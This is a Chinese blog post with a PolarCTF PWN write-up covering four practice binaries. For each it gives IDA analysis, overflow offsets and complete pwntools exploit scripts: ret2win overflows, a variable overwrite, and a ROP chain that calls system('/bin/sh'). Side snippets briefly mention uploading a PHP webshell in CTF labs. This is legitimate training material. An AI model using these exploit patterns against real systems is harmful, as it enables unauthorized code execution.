Polar PWN内容WP 二

【银行测试】手机银行APP专项项目+测试点汇总(一) 1、手机银行APP转账项目讲解面试官:请介绍一下你所负责的模块如何进行的测试?求职者:好的,我最近测试的是XX银行的手机银行App项目。这个项目里面包含了转账、转账额度调整、网银转账、交易明细、添加账户、存款、投资理财、生活缴费等功能模块。我主要负责了转账模块,这个大模块中包含了智能转账、手机转账、语音转账、预约转账、收款人管理等5个子模块,我首先介绍一下我们生活中使用最多的手机转账子模块。对于转账需要关注的是转账前、转账中、转账后这三个状态下的测试。 阅读详情
AI摘要

文章讲述了在不同类型的ELF文件中,通过分析溢出点、利用栈保护机制、寻找后门函数和系统调用,使用IDA等工具进行逆向工程,最终实现控制流重定向并获取flag的过程。,

五、emm

下载文件放入虚拟机中查看一下

32位ELF文件,开启栈不可执行保护(NX)

放入IDA中看一下

映入眼帘的就是一个flag函数,直接看一下flag函数中的内容

好嘛!cat flag 思路明确了

接着我们进入main函数中出现的yes函数,查看一下yes函数中的内容

一个栈溢出,read写入的是100个字节,远远超出定义的58字节

利用溢出,返回cat flag

思路有了

计算偏移地址

偏移地址:0x58+4

找出flag函数地址

flag_addr=0x80484CB

差不多了,开搞!

from pwn import *
r =remote("ip", port)
​
flag_addr=0x80484CB
padding=0x58+4
payload=b'a' * padding + p32(flag_addr)
r.sendline(payload)
r.interactive()

运行脚本后得到flag

六、Choice

下载 虚拟机 查看

64位ELF文件,开启NX保护

进入IDA查看

发现有3个函数,Data1-3

进入Data1查看

有溢出,但不多 达不到攻击条件

进入Data2查看

同Data1 一样 溢出但不多

进入Data3查看

这才对嘛,有溢出,也够用!

找到了溢出点再找找有没有后门函数 shift+F12查找字符串

跟踪进入看一下,这是哪个函数里的

标准,太标准了 标准且典型的后门函数

思路有了:利用Data3函数中的溢出,返回到这个后门函数

现在是找出地址

先找到后门函数地址:0x4007BD

然后找出偏移地址:0x30+8

编写脚本开干

from pwn import *
r =remote("120.46.59.242", 2112)
​
flag_addr=0x4007BD
padding=0x30+8
payload=b'a' * padding + p64(flag_addr)
r.sendlineafter(b'Menu:\n',b'3') //注意,进入Data3函数之前是要输入数值的 这里发送个3 使其进入Data3函数
r.sendline(payload)
r.interactive()

运行脚本后cat flag即可

七、overload1

这题我也没理清思路,所以就直接按照WP写了,有懂的可以评论一下 让我开开眼

下、放、查

ELF 64 NX开

IDA 看

使用了gets函数,是个溢出

if语句中v5[1]和97进行了比较,当v5[1]等于97,可以执行system()函数。

所以就是利用溢出,将v5[1]的值覆盖成97 也就是ascii码中的‘a’

进入main函数的第一个if循环,输入一个y。

通过构造攻击链让程序返回v5[1]等于字符a。

已知溢出变量和所要覆盖变量的距离即可算出距离,构造出Payload。

payload =  0x110 * 'a'

脚本如下

from pwn import *
r =remote("IP",port)
#r = process("./overload1")
elf = ELF("./overload1")
r.recvline()
r.recvline()
payload = 'y'
r.sendline(payload)
#payload1 = 0x120 * 'a'
payload1 = 0x110 * 'a'
r.recvline()
r.sendline(payload1)
r.interactive()                          

八、X64

查看一下文件

64位ELF文件,什么都没开???!!认真的么铁子

进入主函数发现有一个function函数,进入function函数查看

一个溢出点

shift+F12查看字符串

有bin/sh字符串

但是bin/sh字符串并没有和system组合在一起,因此我们需要通过传参将bin/sh传入到system中

64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9,之后跟32位一样

大体思路如下:

找出溢出偏移量、进入function函数中、覆盖返回地址为shell 将/bin/sh作为参数传入

开始找值:

偏移量:0x80+8

bin字符串地址:0x601060

system地址:0x4006B6

还差一个rdi地址

使用命令:

 ROPgadget --binary x64 --only "pop|ret"

找到RDI地址

RDI_addr=0x4007e3

编程搞事

from pwn import *
r =remote("120.46.59.242", 2130)
​
bin_addr=0x601060
padding=0x80+8
sys_addr=0x4006B6
rdi_addr=0x4007e3
payload=b'a' * padding + p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
r.sendline(payload)
r.interactive()

运行,然后cat flag即可

PX4代码解析(1) 前言 做pixhawk飞控有一段时间了,但在学习过程中遇到许多困难,目前网上找不到比较完整的PX4学习笔记,我打算结合自己理解,写写自己对PX4源码的理解,不一定对,只是希望与各位大佬交流交流,同时梳理一下无人机知识。 目前打算分享以下几个内容:代码架构;通信协议;姿态解算算法,控制算法。先这样,后面想到再加。本章先来聊聊px4代码结构 一、代码整体结构 既然要聊px4代码结构,那就先把px4代码结构图放出来,因为px4源码仍然在不断更新迭代,因此老版本与新版本目录结构可能有些不同,我的代码解析参考版本为V 阅读详情

相关推荐

Vue集成飞书前端JSSDK

文章目录前言<1>飞书前端JSSDK<2>使用步骤1.将JSSDK引入到VUE2.读入数据总结 前言 公司需要使用飞书软件,所以转战飞书开发,也是对新知识的探索与研究,飞书SDK也一直都在更新,路虽远,行必达。 <1>飞书前端JSSDK 1、官网地址:https://open.feishu.cn/document/uYjL24iN/uITO4IjLykDOy4iM5gjM 2、当前使用的飞书前端JSSDk的版本:1.5.4 <!-- 在html文档中 --&gt

A 1万+

PolarCTF 靶场PWN(一)

read能输入40个字节 buf只有32个存在溢出 然后我们计算buf到s2的距离 (0x50-0x30)覆盖到这里之后 在输入lovecat\x00。打开ida发现了box函数,分析之后发现不能输入cat flag,但是还要对buf进行赋值。照例checksec查一下发现是64位然后开启了NX保护。照例查看 在ida里发现有输入可以造成溢出。找漏洞没找到到这里就很懵了,不知道怎么做了。学习一下别的师傅的思路发现直接输入$0就行。这就典型的后门函数了,直接写exp。然后我们就可以写exp了。

2402_88025561的博客 783

Opencv全景图像处理实战:柱面与透视展开技术详解

本文详细解析了使用OpenCV实现全景图像处理的两种核心技术:柱面展开与透视展开。通过原理拆解与实战代码演示,指导开发者将360度环绕的鱼眼或球面图像转换为可用的平面视图,适用于街景展示、车载环视、室内测量等计算机视觉应用场景。

weixin_29081163的博客 582

Polar PWN内容WP 三

老规矩查看一下文件64位开启nx保护进入ida查看一下有两个函数,一个叫dalao,一个叫caiji输入1进入大佬函数,输入2进入菜鸡函数,先进去大佬函数看一下淦,被骂了;进入菜鸡函数看一下一个溢出漏洞,shift+F12查找字符串有bin/sh跟踪一下发现一个标准的后门函数思路:输入2进入菜鸡函数,然后利用溢出跳到后门函数位置编写然后cat flag即可。

pythonZLX的博客 2221

VMware ESXi 7.0下Intel网卡SR-IOV配置实战:解决虚拟化网络延迟问题

本文详细介绍了在VMware ESXi 7.0环境下为Intel网卡配置SR-IOV(单根I/O虚拟化)的完整实战流程。通过硬件辅助直通技术,虚拟机可直接访问物理网卡资源,有效绕过虚拟化层瓶颈,从而显著降低网络延迟和CPU开销,适用于金融交易、实时计算等对性能敏感的场景。

embedding5hiker的博客 552

【IC】Redhawk-SC输入件配置

Redhawk sc

u011808788的博客 1776

寒假作业1.8

给了两个文件一个文本文件一个python文件,用记事本看一下理解一下python文件的含义大概就是将一个图片转换成字符串,转换的结果就是另一个文件。计算机只能处理二进制的内容,将‘[ ] ,’ 删掉,把255换成1,可以用Visual Studio Code实现。黑色像素的RGB值是(0,0,0),白色则是(255,255,255),也就是说把1换成黑色像素,0换成白色像素。接下来就是写一个逆向的程序,也没接触过,用ai写了几个在参考一下网上的资料改出来了一个。misc:polar靶场0和255。

zl0_00_0的博客 376

实战指南 | Adjust 与 Facebook、Google Ads 自归因配置全流程解析

本文详细解析了Adjust与Facebook、Google Ads自归因配置的全流程,帮助移动应用出海推广者解决广告归因难题。通过自归因功能(SAN),开发者可以获取更准确的数据、简化配置流程并扩大安装来源覆盖,显著提升广告效果监测和ROI计算效率。

weixin_42528780的博客 536

Polarctf PWN(简单):持续跟新

我是在学习PWN知识中在B站刚好有Polarctf平台的师傅讲的很好,所以发现了这个平台。由于我是新手如果文章那里有讲的不对的地方欢迎指正连接如下:B站连接【PolarCTF入门系列讲座——PWN篇】Polarctf平台连接开始进入主题。

2302_81473559的博客 2779

MGC3130 3D手势识别传感器原理图设计,已量产(交互传感器)

最近在落地一款互动艺术装置的控制模块,选了 Microchip 的 MGC3130 做核心 —— 这颗芯片算是 GestIC® 近场传感技术的 “熟面孔” 了,把 3D 手势识别、运动跟踪的信号处理都集成在一颗芯片里,0-10cm 的检测距离刚好适配桌面级互动场景,挥挥手就能控设备的体验,放在艺术装置里确实很出效果。今天扒一下实际跑通的原理图,聊聊每个模块的设计思路。

不脱发的程序猿 369

55、Mac OS X 10.2 安装、设置、卸载及故障排除全攻略

本博客全面解析了 Mac OS X 10.2 的安装、设置、卸载及故障排除方法。内容涵盖四种安装方式的适用场景及操作步骤、设置助手的详细配置流程、卸载注意事项与恢复建议,以及常见问题和进阶故障的解决办法。通过图文并茂的形式,帮助用户快速掌握 Mac OS X 10.2 的基础与高级操作,是使用该操作系统的实用指南。

qsc90123456的博客 151

pwn -- 沙盒机制详解

沙盒机制详解概述开启沙盒的两种方式prctl函数调用seccomp库函数使用seccomp-tools识别沙盒两道例题pwnable_asm参考博客总结 概述   沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。   在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只

lifanxin的博客 7122

MySQL数据库面试题(2022版)

序列号 内容 链接 1 Java基础知识面试题(2022版) https://blog.youkuaiyun.com/qq_43061290/article/details/124023797 2 Java集合容器面试题(2022版) https://blog.youkuaiyun.com/qq_43061290/article/details/124043363 3 Java异常面试题(2022版) https://blog.youkuaiyun.com/qq_43061290/article/details/124....

拉格朗日的学习笔记 1万+

Polar PWN内容WP

NX保护机制:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。Stack保护机制:在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致。我们继续,将程序丢入IDA64中查看一下main函数发现一个叫box的函数,进去看一看。

pythonZLX的博客 1862

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

1.19学习

开启环境后,看到需要我们上传文件,上传一句话木马文件,将后缀名改为jpg上传,否则无法上传。然后打开bp,拦截其上传这一步,然后改filename的后缀为php,发送给repeater,send后没有返回上传路径,说明这个后缀得不到,那就再改后缀名为phtml然后用蚁剑测试连接,连接成功在其中寻找flag。

Sean_summer的博客 615

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

Polar PWN内容WP 四

先去下载文件,然后导入到虚拟机中file和checksec一下可以看到是64位程序,并且同时开启了金丝雀和NX保护我们将程序放进IDA中查看一下源码有一个很明显的后门函数,但是需要一些条件在我们运行程序的时候会问我们是不是喜欢小猫,此时有两个选项其实不管输入哪个都无法触发后门函数,因为输入的内容是在buf变量中,而参与判断的是s2变量。我们发现buf变量定义是32个而read可输入的是40个,所以这里有溢出点buf到s2的距离是0x50-0x30。

pythonZLX的博客 1041

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Polar PWN(1)

立志刷题攒够500 polar币。

wlmt666的博客 1225

Polar靶场做题 —— test_format

PolarD&N_pwn_test_format

2301_76262491的博客 855

polar秋季赛部分题目wp(web全解)

<think>我们被要求根据提供的完整内容生成一篇≤150字的文章摘要。内容涵盖了CTF比赛的 writeup,分为五个部分:MISC、CRYPTO、WEB、REVERSE、PWN,每部分都列出了具体的题目及解法摘要。我们需要生成一个简短的摘要,概括这些内容。 要求:“根据以下内容,生成≤150字的文章摘要”。这意味着我们需要提取核心信息:这是一篇CTF解题writeup合集,涵盖多个方向题目及Flag。 应当控制在150字以内。注意中文字符算字数。我们应简洁概括。 可能的摘要: “本文汇总CT

2401_88381079的博客 477

polar靶场刷题

挨个截图太麻烦,只写思路和exp。

szcn555的博客 810

PolarCTF 2024夏季个人挑战赛 个人WP

PolarCTF 2024夏季个人挑战赛 个人WP

Jay17的博客 3035

1.15寒假作业

打开环境,理解代码使用个体传参的方法,首先代码会检查file参数的前三个字符是不是php,如果是就输出nice,然后用include函数包含file,绕过不是则输出hacker,如果没有file字样就用以语法高亮的形式显示当前文件的内容。题目的类型是php伪协议,不妨试一下昨天的查看方式,结果提示是这样的首先flag?

zl0_00_0的博客 2496

1.13寒假作业

题目给了一张图,图上又flag肯定是假的,查一下有没有隐藏水印也没有,那么就用stegsolve分析一下,可以看到ASCII码是pk...是zip的格式尝试改文件格式为zip可是解压不出来,用010打开看看,文件头确实是jpg格式的,也就是不存在格式错误的问题,那就是里面藏了一个zip文件了,用010仔细看看,在文件尾部确实有一个zip文件用foremost分离一下,得到一个jpg和一个zip,尝试解压,结果要密码,猜测密码长度和bingdundun一样,爆破一下肯定是爆破不出来的。

zl0_00_0的博客 1034

1.14寒假作业

打开环境,只有一片空白,源代码也什么都没有,题目的分类是涉及到php伪协议,之前写过一题也是为协议,当时是用base64的方式将源码给加密显现出来了,看一下当时得到命令试试看,是可以的php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件;这是命令的解释。具体可以看,解码看看:检查GET请求中是否存在名为N_S.S的参数。:如果存在,使用eval函数对该参数的值进行求值。:检查GET请求中是否不存在名为file的参数。:如果不存在,则使用。

zl0_00_0的博客 898

1.11寒假作业

打开文件解压,是一个文档,之前做过类似的题目,无非就是把文字的颜色变得和背景颜色一样而已,尝试修改颜色果然得到一部分flag不过并不完整,上网搜索其他隐藏手段,得知可以通过一些操作隐藏通过wps自带的功能可以解除隐身,可是flag还是不完整那么就用010分析一下看到文件头是pk或者504B应该是zip的格式,可是文件确实doxc格式,改一下文件格式为zip,解压就可以得到最后一部分flag。

zl0_00_0的博客 841

1.19寒假作业

打开环境要求我们上传jpg文件,那就上传jpg文件响应的时候再改上传的方式。这边要注意如果直接改php后缀为jpg是不能成功的,要这样把php文件和任意的jpg文件结合一下才可以改2.jpg为2.php响应发现上传成功了,路径也说了蚁剑连接但是这个flag是假的,尝试用一下伪协议,直接查看phpinfo,搜索一下即可还是错的...,去看了一下wp才知道应该是对的啊。

zl0_00_0的博客 495
上一篇: Polar PWN内容WP
下一篇: Polar PWN内容WP 三
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值